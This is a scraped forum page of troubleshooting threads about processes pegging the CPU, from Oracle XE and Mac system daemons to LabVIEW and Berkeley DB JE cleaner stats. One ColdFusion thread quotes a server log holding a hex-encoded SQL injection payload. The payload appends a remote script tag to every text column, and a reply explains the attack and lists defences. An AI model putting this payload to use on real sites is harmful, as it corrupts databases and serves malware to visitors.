Describe HTMLDB_APPLICATION_FILES pegs CPU

logged in to OracleXE as SYSTEM
in SQL command window, typed 'describe HTMLDB_APPLICATION_FILES', pressed Ctrl-Enter
cpu is pegged at ~97%
shutdown and restarted database, tried again, same results
running on Windows XP
describe ALL_USERS worked just fine
describe HTMLDB_APPLICATION_FILES worked just fine in SQL*Plus
tried one more time before submitting this post -- yep, pegged again @+90%

Thanks, mcstock. This was reported earlier and has been taken care of in an upcoming release:
Bug in the XE GUI
Sergio

Similar Messages

UWC -- 2005Q4, web instance pegs CPU

Hello --
arrived at office today to see recently upgraded web instance running latest UWC -- 2005Q4 (118540-21) fully pegged CPU (load ave in 5-6 range).
Nice thing: the web instance did respond to stop (ie. not hung).
The restart of web instance went fine -- and now UWC working as expected.
We've been running JES 2005Q4 for awhile now (upgrade more than month ago). Many users grumbling with various end-user issues with UWC -- various bugs. small little usage/behavior issues that are a pain when working in airport or Kinkos, etc.
With this most recent CPU peg issue: curious how many tech-support only builds have been released since 118540-21??
Note -- current upgrade 2005Q4 platform on solaris 9 with recent patches (per patch mgr 2.0). all shared patches applied. Directory, admin, calendar, mail, web, ID, and UWC all upgraded successfully.
Any insight would be appreciated. -GA

Hey Jay --
Just went rounds with Sun inside sales -- attempting to license JES CommSuite in order to get support (and access to the tech-support only patches).
Essentially, no dice. As company with less than ten users, I can't justify spending min of $5,000 year just for licensing -- in order to get support.
Please check following thread:
http://supportforum.sun.com/sjes/index.php?t=msg&th=742&start=0&rid=17767&SQ=d3620791e3a9a9c7e2f58f8cbf1da831
Is this an "over sight" between Sun JES product mgmt and tech support (ie. offer software "free" to companies under 100 users -- but require support access in order to get latest patches in order to run software in production).
My take: the end-user oddities with UWC in JES 2005Q4 require fixes -- primary: many messages received from Outlook senders can't be read (displayed with [ndif!!]).
Thoughts and/or suggestions?? We are willing to PAY $$$ for incident pack -- but no one @ sun support will take my $$$.
-GA

LaunchCFMA hanging and pegging CPU....

So I've encountered my first real Leopard issue. It involves LaunchCFMA and opening Photoshop CS files (original CS, yes, not CS2 or CS3). When I open one of the PS files, it seems to randomly hang—sometimes these same files will all open without issue at all, and other times none will open—which will peg LaunchCFMA to 100% CPU. It will just sit there and do nothing. I've let it sit for a few minutes and the files still didn't open. But!—this is the big but—if I simply click click anywhere (on the Desktop, in another app, etc.), the file will immediately open as normal.
Here's a video to illustrate better.
You could say, "Well, why not just click twice?" Yeah, it seems minor, but it's bothersome that it's random, and that it pegs one of my CPUs to 100% indefinitely unless I intervene. This is also an issue with creating scripted workflows, too, or batching things. I know it's only been two days, but any ideas, folks? Thanks for any help!

I have seen the same basic behavior saving a PowerPoint file (Clean install of 10.5.1, clean copy of Office 2004, updated by Microsoft Autoupdate).
Essentially, it took 35 minutes to save a roughly one megabyte PowerPoint file; for that time, launchCFMA.app was pegging one of the cores.
My initial reaction was to suspect disk problems; the disk, of course checked out fine and I was able to replicate the problem on my MacBookPro.

LabVIEW pegs CPU usage after running VIs

Hey folks,
this is a general inquiry simply because I don't think I could explain (nor upload) all of the complex pieces of the code involved in the creation of the isue I'm having. Long story short, I have several processes, the main proc calls up two others, there is some information exchanged between procs etc in the initialization process as expected, and there are also several errors that occur (still in the process of debugging it). The problem occurs when the processes are exited. All VIs stop running as they should, however something in the background (no visual prescence) has my CPU pegged at just under 100% and I have to kill LabVIEW in the task manager or wait for it to slowly respond to me telling it to quit/exit...
My question is, has anyone else ever had this issue? if so, could you point me in a direction that may help me find the culprit in my case? I've had plenty of situations when I started VIs that wouldn't stop due to the loop conditions I ut in place, but in this case all VIs show to be stopped...
Thanks for any ideas

you guys are quick! thanks for the help! (kudos to you!)
I don't see the data trace execution toolkit, but I think we have a lic for it... I'll have to download it.
regard to altenbach's questions:
How does the main process call the others?
One is an async call (remote interface)- the other is call by ref (GUI). When this first happened, I figured the one I called async was stuck running, but when I brought it up it was stopped...
How is information exchanged between processes?
Mostly by User events that are held in an individual api VI for each proc, very little is done via 'remote enqueue' (only the exit of the two sub proc's are done that way right now)
How does the quit/exit dialog look like?
There isnt a separate dialog, but the execution of the exit/quit button seems to go just fine, doesnt hang while pressed or anything.
What is your LabVIEW version?
2011
Are you opening an infinite number of references, trying to allocate an infinite amount of memory, or similar?
It may be that I'm opening a new ref each time... I'm gonna have to look into this.. thanks!
again thanks for all your help

More problems with securityd -- pegging CPU, not using much memory

Well, I'm at my wits end with this one. I'm going to probably have to do a very painful system restore tomorrow night if I can't come up with a solution.
The infamous 'securityd' process is at it again, this time it's pegging my CPU. It differs from other common problems in that it's hardly using any RAM at all (approx. 290KB)! Regardless, one of my CPU cores is maxed out dealing with it, and if I use the System Monitor to display information, the amount of Unix System Calls is rising at a laughable rate.
I've tried the common solution to the similar issue of deleting the /var/db/CodeEquivalenceDatabase, however in this case it does nothing. Upon reboot, 'securityd' immediately begins chewing up as much CPU time as it can get its hands on. The only way to stop it from doing so is to forcibly kill the process, which of course breaks functionality with anything that requires authentication.
This is becoming VERY annoying. Does anybody have a solution other than having to perform a System Restore? That's about the only option I have left, and I'm not very happy about it.

Hi - thanks for the quick reply - my router is normally on 24/7 and I have rarely seen it disconnect. I only ever reboot the router if there is a problem. It was 'suggested' by BT India after I called them this morning that I should reboot the router but other than moving it to plug into the main socket it hasn't been off since Monday when I logged the fault.
As you say the noise seems high - I wasn't even asked about this when I reported the fault - but it does not get any better if I plug into the master socket so I don't think it is an issue with the internal wiring.
The crux of my post is that:-
1> Support did not seem concerned in investigating WHY the profile dropped but just requested a reset of the profile
2> After the allotted time there has not been an improvement suggesting an underlying cause
3> IP profiles seem to cause more support issues than they resolve
4> How can I get the speed improved without waiting another 63 1/2 hours?
Regards,
Chris Drew

K9copy 1.1.2 pegging cpu, not copying anything

The title pretty much says it all. I haven't been able to use k9copy on arch for a few months now because it produces disks that cause some set top boxes to hard lock. I saw the new version in updates, so I tried it. The new version pegs my cpu at 100% and never gets past a few MB of actual disk copying. Is anyone else seeing this?

FWIW, this only happens on some disks. I had a little time to experiment and found that some copy just mine and others refuse to. I haven't seen if anything has changed on the "creates isos that crash settop players" front, though.
Last edited by Snarkout (2007-08-15 14:56:34)

Jrun Pegging CPU

We have coldfusion 8.01 Standard running on a Windows 2003.
jrun has been peggin the CPU for days. We have installed fusion
Reactor to monitior request and nothing seems to account for the
CPU being pegged.
We had someone tring to hack into our server but we locked
down our code and they are not getting into our sites but when they
try it seems to pegging the system. Here is a sample of what they
are doing to several of our sites:
2008-08-08 12:17:20.569 1218212240569 3 2114 COMPLETED ""
jrpp-26 203.218.119.79 GET
http://rockportusa.com/festival-event.cfm
16 20 504896 103523 136192 32668
"id=724';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228 323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F72204355 52534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65637473 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27 752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D32 3331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E45 58542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443 485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B 272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474 703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727 20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073 72633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F736372697074 3E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040 542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F 437572736F72%20AS%20CHAR(4000));EXEC(@S);
Any ideas. We are dead in the water. Please HELP
Text

VsVN wrote:
> We have coldfusion 8.01 Standard running on a Windows
2003. jrun has been
> peggin the CPU for days. We have installed fusion
Reactor to monitior request
> and nothing seems to account for the CPU being pegged.
>
> We had someone tring to hack into our server but we
locked down our code and
> they are not getting into our sites but when they try it
seems to pegging the
> system. Here is a sample of what they are doing to
several of our sites:
>
> 2008-08-08 12:17:20.569 1218212240569 3 2114 COMPLETED
"" jrpp-26
> 203.218.119.79 GET
http://rockportusa.com/festival-event.cfm
16 20 504896
> 103523 136192 32668
>
"id=724';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726
>
368617228323535292C40432076617263686172283430303029204445434C415245205461626C655
>
F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D65206
>
6726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E696
>
43D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7
>
220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D313
>
63729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D2020546
>
1626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415
>
455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B2
>
72B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633
>
D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726
>
970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7
>
469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F6
>
3737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854204
>
6524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205
>
461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20C
> HAR(4000));EXEC(@S);
>
> Any ideas. We are dead in the water. Please HELP
Text
>
This is a well know attack and it is generating *A LOT* of
traffic right
now, not just against CF sites.
How do you have it locked down? I've seen reports where
people have
protected their sites so that the attack fails in it's goal
of appending
undesired text into the database. But the ferocity of the
attack
generates SO MANY request, that it actually results in a
denial of
service attack.
The general solution I've seen has been discussed to fight
this as soon
as possible. I've heard of three affective defenses.
1) Code at the top of you CF application (Application.cfm or
Applciation.cfc) that detects the attack in the URL and ban's
the IP
address it is from, so that all future requests from this IP
are not
processed.
This stops the attack as fast as ColdFusion can, but if the
attack is
ferocious enough, this may not be sufficient to save your
server.
2) Stop it at the web server with isapi re-write techniques.
More
sophisticated and stops it sooner, but all requests still
need to be at
least briefly looked at by the server.
3) Stop it at the fire wall. The best and soonest way to stop
it, but
takes a good firewall that may cost so money and|or a lot of
manual
effort to keep up on top of it.
I believe some people are using all three.

Syslog pegging CPU

All of a sudden syslog is pegging my CPU to between 90% and 100%. I've checked all the forum info on this subject and nothing seems to help. Looking into /var/log shows no log files of excessive size. I've restarted syslogd and rebooted, but still no joy.
Anything else I can look into?

I did this, but the large log file in the asl subdirectory still exists. This is the output that I saw in daily.out
Sun Jan 11 21:21:10 CST 2009
Removing old log files:
Removing old temporary files:
Cleaning out old system announcements:
Local system status:
21:21 up 21 mins, 2 users, load averages: 1.12 1.08 0.80
Removing scratch and junk files:
Removing scratch fax files
Checking subsystem status:
disks:
Filesystem 1024-blocks Used Available Capacity Mounted on
/dev/disk0s2 243862672 144058224 99548448 60% /
Last dump(s) done (Dump '>' file systems):
network:
Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Coll
lo0 16384 <Link#1> 1154 0 1154 0 0
lo0 16384 localhost fe80::1 1154 - 1154 - -
lo0 16384 127 localhost 1154 - 1154 - -
lo0 16384 localhost ::1 1154 - 1154 - -
gif0* 1280 <Link#2> 0 0 0 0 0
stf0* 1280 <Link#3> 0 0 0 0 0
en0 1500 <Link#4> 00:1f:f3:d6:29:de 0 0 0 0 0
fw0 2030 <Link#5> 00:21:e9:ff:fe:be:52:10 0 0 0 0 0
en1 1500 <Link#6> 00:1f:5b:bf:cd:ec 7794 0 7041 0 0
en1 1500 Firehole.lo fe80::21f:5bff:fe 7794 - 7041 - -
en1 1500 192.168.1 192.168.1.100 7794 - 7041 - -
en1 1500 (16)00:00:2d:ff:56 7794 0 7041 0 0
-- End of daily output --

Pegged CPU using Scripter MIDI FX

I've been using MainStage 3.0.4 with the Scripter MidiFX plugin to use javascript to build custom sequencing/arpeggiators. Unforuntately, I have found using NeedsTimingInfo = true; to cause performance issues that cause occasional blips in the audio output from the CPU being pegged... even with the highest output buffers.
I moved from using GetTimingInfo() to writing my own version using new Date().getTime() in javascript, and that helped A LOT, but I was still getting occasional CPU spiked that affected the output. Even the Apple example javascript files have this problem. Strangely, moving from my Core i7 8 core MacBook Pro to a Core 2 Duo MacMini was better for the CPU, and the problem seems to be resolved by switching to a single CPU, but I'm expecting it to come back at any moment.
Basically I'm doing stuff like having a bass line I can turn on with a fader that goes along with my keyboard parts, or some custom arpeggiation beyond what I can do with Apple's plugin.
Has anyone else experienced this issue or have any suggestions? Moving to a single core actually seems to be doing okay tonight, but it seems ridiculous to cut and paste these class with 50 lines of code to replace built in functionality in every one of my scripts.
I'll gladly post the javascript if others have experienced this and there is no resolution on the current version of MainStage.

Hi Smitting!!
Please , i kindly ask you for helping me with this same problem. My CPU usage often keep over 90%! I really don't know what to do to solve this problem.
Can you help me please???
Thank you so much!!!!
Filipe

Workshop's WLS pegs CPU

Hi,
I am able to run my Workshop tool very easily, but when I start the server associated
with Workshop (using the button at the bottom of the window) my entire machine slows
to a crawl. It takes almost 3 minutes for WLS to start (it does so with normal messages)
and once it is running the associated java process pegs the CPU at 95% of capacity.
I have a 650Mhz processor and 512Meg of RAM so I know I have adequate physical resources.
Why all the problems? I know that if I uninstall WLS7.0 and then reinstall it this
problem does not exist - it just happens after I have been following the tutorials
for a while.
I adjusted the server logging mechanism to report at the Info level and also send
Debug to StdOut and the server window is constantly writing the same message over
and over again as fast as possible:
<Apr 29, 2002 9:58:48 PM PDT> <Warning> <EJB> <010065> <MessageDrivenBean threw
an Exception in onMessage(). The exception was:
java.lang.NullPointerException
java.lang.NullPointerException
at weblogic.knex.bean.InboundMessageBean.onMessage(InboundMessageBean.ja
va:128)
at weblogic.ejb20.internal.MDListener.execute(MDListener.java:295)
at weblogic.ejb20.internal.MDListener.onMessage(MDListener.java:241)
at weblogic.jms.client.JMSSession.onMessage(JMSSession.java:2181)
at weblogic.jms.client.JMSSession.execute(JMSSession.java:2111)
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:156)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:137)
>
I cannot locate the culprit Message Driven Bean since the exception does not report
its identity.
Any help would be very useful.
Adam

Adam,
The reason for the behavior that you are noticing is a corrupt Pointbase
database.
If you have a backup of the original installation you can get around
this by replacing the corrupted files with the ones from the original
installation.
The files that have to be replaced are
cajun$1.wal and cajun.dbn.
If you do not have the files please use the zip file that I have
attached. It contains a fresh copy of both the database files. Replace
the cajun$1.wal and cajun.dbn files with the ones from the zip file.
Thank You
Raj Alagumalai
Weblogic Workshop Support
Adam FitzGerald wrote:
Hi,
I am able to run my Workshop tool very easily, but when I start the server associated
with Workshop (using the button at the bottom of the window) my entire machine slows
to a crawl. It takes almost 3 minutes for WLS to start (it does so with normal messages)
and once it is running the associated java process pegs the CPU at 95% of capacity.
I have a 650Mhz processor and 512Meg of RAM so I know I have adequate physical resources.
Why all the problems? I know that if I uninstall WLS7.0 and then reinstall it this
problem does not exist - it just happens after I have been following the tutorials
for a while.
I adjusted the server logging mechanism to report at the Info level and also send
Debug to StdOut and the server window is constantly writing the same message over
and over again as fast as possible:
<Apr 29, 2002 9:58:48 PM PDT> <Warning> <EJB> <010065> <MessageDrivenBean threw
an Exception in onMessage(). The exception was:
java.lang.NullPointerException
java.lang.NullPointerException
at weblogic.knex.bean.InboundMessageBean.onMessage(InboundMessageBean.ja
va:128)
at weblogic.ejb20.internal.MDListener.execute(MDListener.java:295)
at weblogic.ejb20.internal.MDListener.onMessage(MDListener.java:241)
at weblogic.jms.client.JMSSession.onMessage(JMSSession.java:2181)
at weblogic.jms.client.JMSSession.execute(JMSSession.java:2111)
at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:156)
at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:137)
I cannot locate the culprit Message Driven Bean since the exception does not report
its identity.
Any help would be very useful.
Adam
[pointbase.zip]

Mail pegs CPU

Occasionally, every few hours, Mail will peg the CPU to over 100% (dual processor). I'll have to force a quit. It usually happens when it is sitting in the background without me working on it.
I've searched the forum without success.
This is my first Mac and I'm new to these forums.
I've got a MacBook Pro with 2.4 GHz Core Duo and 4GB RAM. I'm running Leopard (not a clean install), but I didn't use Mail until Leopard. I connect to my server with IMAP.
I've been a Thunderbird user forever, but am trying out Mac Mail. The rare crash and this pegging of the CPU may drive me back to Thunderbird.
Any help or insight would be appreciated.
Thanks

It settled down after a while without rebooting. While it was heavily using processor time, I also had other programs running such as iTunes, Firefox, TextEdit, iPhoto, and of course, the Activity Monitor. I've had those and more running concurrently before, but it could be a coincidence of events happening at the same time. Memory was ok (not overloaded and still had a fair amount of free space). Perhaps at some low level (as evidenced by %System usage), Mail was trying to acquire a resource it could get at the time, a lock or some such perhaps, and spinning until it could get it. Can't say for sure. After shutting down the other programs (Firefox and Mail are running at this time), CPU is between 90 and 95% idle now.

10.5.3 update: Finder pegs CPU at 100% and RAM at almost 100%

Ever since my update to 10.5.3 Finder goes nuts causing the CPU to max out and RAM usage to nearly max out, sometimes for hours at a time. I have searched high and low on the discussion boards and there is some chat but no fixes for my situation. This happens right after login with no apps other than background apps running. This never happened with Tiger and only happened for very short periods of time with Leopard prior to the 10.5.3 update. Disabling Finder is an option but its like cutting your arm off because it hurts for a few hours a day and no doctor can cure it. Not a good option.

Have you tried reinstalling using the [10.5.3 combo update|http://support.apple.com/kb/index?page=search&src=support_site.home&q=10 .5.3%20combo%20updater]?
Sometimes doing this will cure anomalies. You might also want to reset your SMU by shutting the computer down, pulling all the peripherals off and then disconnecting the power cord. Wait 15 seconds, reconnect the cord, then turn the computer on again.
Please post back with results,

SQL Developer 1.5 pegs CPU at 100% in Procedure Editor

I have noticed that opening a large package or procedure causes SQL Developer to chew up 100% of my CPU as soon as I start typing. There is a 3-5 second delay before any key I press appears on the screen. If I let it sit for about 2 minutes, the CPU usage drops to normal, but shoots back to 100% as soon as I type anything. This makes it unbearable to use. I have verified this DOES NOT happen in 1.2.
The client PC I am using is Dell Celeron 2.4ghz with 1gig of memory.
The Oracle version is 10g - 10.2.0.3.0
The SQL Developer version I am using is 1.5.0.53, Build MAIN-53.38
I have tried turning of code insight and auto complete, and have added "-J-Dsdev.insight=false" to the startup parameters but it doesn't help at all. Anyone else noticing this and have any insights, workarounds, etc?

I just recently updated my SQL Developer to 1.5.1.
When I edit my Package Body( adding some lines of code)
my CPU jumps up to 100% and stays there for maybe 5 seconds
or longer.I did NOT press the SAVE button, just typing maybe 10 characters.
The 100% CPU is happening too often. I must find a way around it.
I thought the program COULD be doing an AUTOMATIC SAVE after
so many seconds, but I cannot confirm that yet...
I may have to go back to the previous version...
I'll try the previous suggestion.
Until then, I'll wait for the next upgrade...

System error- pegs cpu

Okay i'm sure this doesn't go here but i can't seem to find where it should go.
NT Kernel and system is taking up no less than 25% of the cpu, and making everything lag. Using process explorer i discovered the thread responsible: ntoskrnl.exe"!KeAcquireInStackQueuedSpinLockAtDcpLevel+0x1e0
I've tried suspending, killing, and looking at the permission and it always says the same thing: Unable to access thread.
so far i've tracked to be a driver for new software's "folder lock". I've never installed this program though and have no way of finding it. So i downloaded the windows driver kit, because that way i can examine the data and hopefully at least
narrow it down, then google the drivers i think might be it.
The problem is, however, that when i try to install, it says that microsoft document explorer couldn't install, and then it completely "roll's back" as it puts it, its installation. No matter how many times i try, it does this. Both files SAY they
should be installable, but they aren't.
This is where i'm stuck at. Any help would be appreciated.
Relevent links are
wdk install walkthrough,
answer that led me to the problem,
company's website
Thank you in advance for your help

ER
Lets run a WPT trace on the cpu. There are two ways to do this. The easy way (less info) and the hard way ( more nfo). Lets start with the easier one first.
In order to diagnose your problem you will need to download and install the below
Install the WPT (windows Performance Toolkit) http://social.technet.microsoft.com/wiki/contents/articles/4847.install-the-windows-performance-toolkit-wpt.aspx ,
When you have open an elevated command prompt and type the following
WPRUI.exe (which is the windows performance recorder) and check off the boxes for the following
First level triage, CPU usage, Disk IO. If you problem is not CPU or HD then check off the relevant box/s as well (for example networking or registry)
Let it run for 60 secs or more and save the file (it will show you where it is being saved and what the file is called
Zip the file and upload to us on Onedrive (or any file sharing service) and give us a link to it in your next post.
Wanikiya and Dyami--Team Zigzag

Cleaner thread pegging cpu ?

Hi All,
I have an application that uses JE. After several restarts and with db around 10G in size, cpu runs high when I open the db. Repeated thread dump points me to cleaner thread:
At Time 1 :
"Cleaner-1" daemon prio=6 tid=0x0352e400 nid=0x1654 runnable [0x03adf000]
java.lang.Thread.State: RUNNABLE
at java.io.RandomAccessFile.readBytes(Native Method)
at java.io.RandomAccessFile.read(Unknown Source)
at com.sleepycat.je.log.FileManager.readFromFileInternal(FileManager.jav
a:1456)
At Time 2:
"Cleaner-1" daemon prio=6 tid=0x0352e400 nid=0x1654 runnable [0x03adf000]
java.lang.Thread.State: RUNNABLE
at java.io.RandomAccessFile.readBytes(Native Method)
at java.io.RandomAccessFile.read(Unknown Source)
at com.sleepycat.je.log.FileManager.readFromFileInternal(FileManager.jav
a:1456)
- locked <0x170f0778> (a java.io.RandomAccessFile)
at com.sleepycat.je.log.FileManager.readFromFile(FileManager.java:1377)
at com.sleepycat.je.log.FileReader.fillReadBuffer(FileReader.java:786)
at com.sleepycat.je.log.FileReader.readData(FileReader.java:661)
at com.sleepycat.je.log.FileReader.readNextEntry(FileReader.java:297)
at com.sleepycat.je.cleaner.FileProcessor.processFile(FileProcessor.java
:384)
at com.sleepycat.je.cleaner.FileProcessor.doClean(FileProcessor.java:232
- locked <0x15281a78> (a com.sleepycat.je.cleaner.FileProcessor)
at com.sleepycat.je.cleaner.FileProcessor.onWakeup(FileProcessor.java:13
7)
at com.sleepycat.je.utilint.DaemonThread.run(DaemonThread.java:140)
at java.lang.Thread.run(Unknown Source)
Any thoughts on whats causing this ?
Thanks, Regards
Vissu

Thanks for your response. We have 3 BDB stores. Stats from all three at two different time periods are posted below:
At Time 1:
------------------ DB NAME store1 BDB STATS START ---------------------
Compression stats
splitBins=0
dbClosedBins=0
cursorsBins=0
nonEmptyBins=0
processedBins=0
inCompQueueSize=0
Eviction stats
nEvictPasses=192
nNodesSelected=7,257
nNodesScanned=72,984
nNodesExplicitlyEvicted=4,054
nRootNodesEvicted=1
nBINsStripped=3,202
requiredEvictBytes=544,584
Checkpoint stats
nCheckpoints=3
lastCheckpointId=1,071
nFullINFlush=54
nFullBINFlush=2
nDeltaINFlush=10,869
lastCheckpointStart=0x18/0x3e8b1e6f
lastCheckpointEnd=0x18/0x3ea6cbf3
endOfLog=0x18/0x3ea6cbf3
Cleaner stats
cleanerBacklog=6
nCleanerRuns=1
nCleanerDeletions=0
nINsObsolete=0
nINsCleaned=0
nINsDead=0
nINsMigrated=0
nLNsObsolete=0
nLNsCleaned=0
nLNsDead=0
nLNsLocked=0
nLNsMigrated=25,370
nLNsMarked=0
nLNQueueHits=0
nPendingLNsProcessed=0
nMarkedLNsProcessed=25,329
nToBeCleanedLNsProcessed=41
nClusterLNsProcessed=0
nPendingLNsLocked=0
nCleanerEntriesRead=139,424
Cache stats
nNotResident=23,045
nCacheMiss=22,740
nLogBuffers=3
bufferBytes=3,145,728
dataBytes=100,772,127
adminBytes=424,471
lockBytes=240
cacheTotalBytes=104,342,566
sharedCacheTotalBytes=0
nSharedCacheEnvironments=0
IO Stats
nRandomReads=14,557
nRandomWrites=75
nSequentialReads=72,336
nSequentialWrites=0
nRandomReadBytes=32,032,768
nRandomWriteBytes=75,582,820
nSequentialReadBytes=2,329,355,350
nSequentialWriteBytes=0
Logging stats
nFSyncs=3
nFSyncRequests=3
nFSyncTimeouts=0
nRepeatFaultReads=7,537
nTempBufferWrite=0
nRepeatIteratorReads=0
nFileOpens=13
nOpenFiles=4
totalLogSize=9,640,994,599
------------------ DB NAME store1 BDB STATS END ---------------------
------------------ DB NAME store2 BDB STATS START ---------------------
Compression stats
splitBins=0
dbClosedBins=0
cursorsBins=0
nonEmptyBins=0
processedBins=0
inCompQueueSize=0
Eviction stats
nEvictPasses=250
nNodesSelected=9,918
nNodesScanned=99,748
nNodesExplicitlyEvicted=5,265
nRootNodesEvicted=1
nBINsStripped=4,652
requiredEvictBytes=553,226
Checkpoint stats
nCheckpoints=4
lastCheckpointId=1,072
nFullINFlush=54
nFullBINFlush=2
nDeltaINFlush=13,069
lastCheckpointStart=0x18/0x3e8b1e6f
lastCheckpointEnd=0x18/0x3ea6cbf3
endOfLog=0x19/0x26
Cleaner stats
cleanerBacklog=6
nCleanerRuns=1
nCleanerDeletions=0
nINsObsolete=0
nINsCleaned=0
nINsDead=0
nINsMigrated=0
nLNsObsolete=0
nLNsCleaned=0
nLNsDead=0
nLNsLocked=0
nLNsMigrated=29,285
nLNsMarked=0
nLNQueueHits=0
nPendingLNsProcessed=0
nMarkedLNsProcessed=29,244
nToBeCleanedLNsProcessed=41
nClusterLNsProcessed=0
nPendingLNsLocked=0
nCleanerEntriesRead=145,740
Cache stats
nNotResident=27,487
nCacheMiss=27,101
nLogBuffers=3
bufferBytes=3,145,728
dataBytes=100,581,101
adminBytes=688,215
lockBytes=240
cacheTotalBytes=104,415,284
sharedCacheTotalBytes=0
nSharedCacheEnvironments=0
IO Stats
nRandomReads=16,864
nRandomWrites=97
nSequentialReads=75,976
nSequentialWrites=0
nRandomReadBytes=37,252,096
nRandomWriteBytes=98,205,476
nSequentialReadBytes=2,364,861,517
nSequentialWriteBytes=0
Logging stats
nFSyncs=3
nFSyncRequests=3
nFSyncTimeouts=0
nRepeatFaultReads=8,666
nTempBufferWrite=0
nRepeatIteratorReads=0
nFileOpens=13
nOpenFiles=4
totalLogSize=9,663,617,794
------------------ DB NAME store2 BDB STATS END ---------------------
------------------ DB NAME store3 BDB STATS START ---------------------
Compression stats
splitBins=0
dbClosedBins=0
cursorsBins=0
nonEmptyBins=0
processedBins=0
inCompQueueSize=0
Eviction stats
nEvictPasses=250
nNodesSelected=9,918
nNodesScanned=99,748
nNodesExplicitlyEvicted=5,265
nRootNodesEvicted=1
nBINsStripped=4,652
requiredEvictBytes=553,226
Checkpoint stats
nCheckpoints=4
lastCheckpointId=1,072
nFullINFlush=72
nFullBINFlush=2
nDeltaINFlush=14,561
lastCheckpointStart=0x18/0x3fe81963
lastCheckpointEnd=0x19/0xa8c83
endOfLog=0x19/0xa8c83
Cleaner stats
cleanerBacklog=6
nCleanerRuns=1
nCleanerDeletions=0
nINsObsolete=0
nINsCleaned=0
nINsDead=0
nINsMigrated=0
nLNsObsolete=0
nLNsCleaned=0
nLNsDead=0
nLNsLocked=0
nLNsMigrated=31,084
nLNsMarked=0
nLNQueueHits=0
nPendingLNsProcessed=0
nMarkedLNsProcessed=31,043
nToBeCleanedLNsProcessed=41
nClusterLNsProcessed=0
nPendingLNsLocked=0
nCleanerEntriesRead=146,431
Cache stats
nNotResident=27,491
nCacheMiss=27,105
nLogBuffers=3
bufferBytes=3,145,728
dataBytes=100,601,879
adminBytes=449,652
lockBytes=240
cacheTotalBytes=104,197,499
sharedCacheTotalBytes=0
nSharedCacheEnvironments=0
IO Stats
nRandomReads=16,872
nRandomWrites=98
nSequentialReads=76,459
nSequentialWrites=1
nRandomReadBytes=37,339,136
nRandomWriteBytes=98,205,514
nSequentialReadBytes=2,377,213,763
nSequentialWriteBytes=691,356
Logging stats
nFSyncs=4
nFSyncRequests=4
nFSyncTimeouts=0
nRepeatFaultReads=8,667
nTempBufferWrite=0
nRepeatIteratorReads=0
nFileOpens=15
nOpenFiles=4
totalLogSize=9,664,308,611
------------------ DB NAME store3 BDB STATS END ---------------------
At Time 2:
------------------ DB NAME store1 BDB STATS START ---------------------
Compression stats
splitBins=0
dbClosedBins=0
cursorsBins=0
nonEmptyBins=0
processedBins=0
inCompQueueSize=0
Eviction stats
nEvictPasses=1,211
nNodesSelected=51,452
nNodesScanned=517,594
nNodesExplicitlyEvicted=25,454
nRootNodesEvicted=2
nBINsStripped=25,996
requiredEvictBytes=542,075
Checkpoint stats
nCheckpoints=19
lastCheckpointId=1,087
nFullINFlush=633
nFullBINFlush=284
nDeltaINFlush=69,089
lastCheckpointStart=0x19/0x169d56ee
lastCheckpointEnd=0x19/0x16c8999f
endOfLog=0x19/0x171e57d2
Cleaner stats
cleanerBacklog=6
nCleanerRuns=1
nCleanerDeletions=0
nINsObsolete=0
nINsCleaned=0
nINsDead=0
nINsMigrated=0
nLNsObsolete=0
nLNsCleaned=0
nLNsDead=0
nLNsLocked=0
nLNsMigrated=113,048
nLNsMarked=0
nLNQueueHits=0
nPendingLNsProcessed=0
nMarkedLNsProcessed=113,007
nToBeCleanedLNsProcessed=41
nClusterLNsProcessed=0
nPendingLNsLocked=0
nCleanerEntriesRead=252,418
Cache stats
nNotResident=95,125
nCacheMiss=93,645
nLogBuffers=3
bufferBytes=3,145,728
dataBytes=100,409,969
adminBytes=820,596
lockBytes=240
cacheTotalBytes=104,376,533
sharedCacheTotalBytes=0
nSharedCacheEnvironments=0
IO Stats
nRandomReads=51,953
nRandomWrites=477
nSequentialReads=136,332
nSequentialWrites=2
nRandomReadBytes=136,701,952
nRandomWriteBytes=484,828,017
nSequentialReadBytes=3,166,856,255
nSequentialWriteBytes=828,678
Logging stats
nFSyncs=19
nFSyncRequests=19
nFSyncTimeouts=0
nRepeatFaultReads=27,760
nTempBufferWrite=0
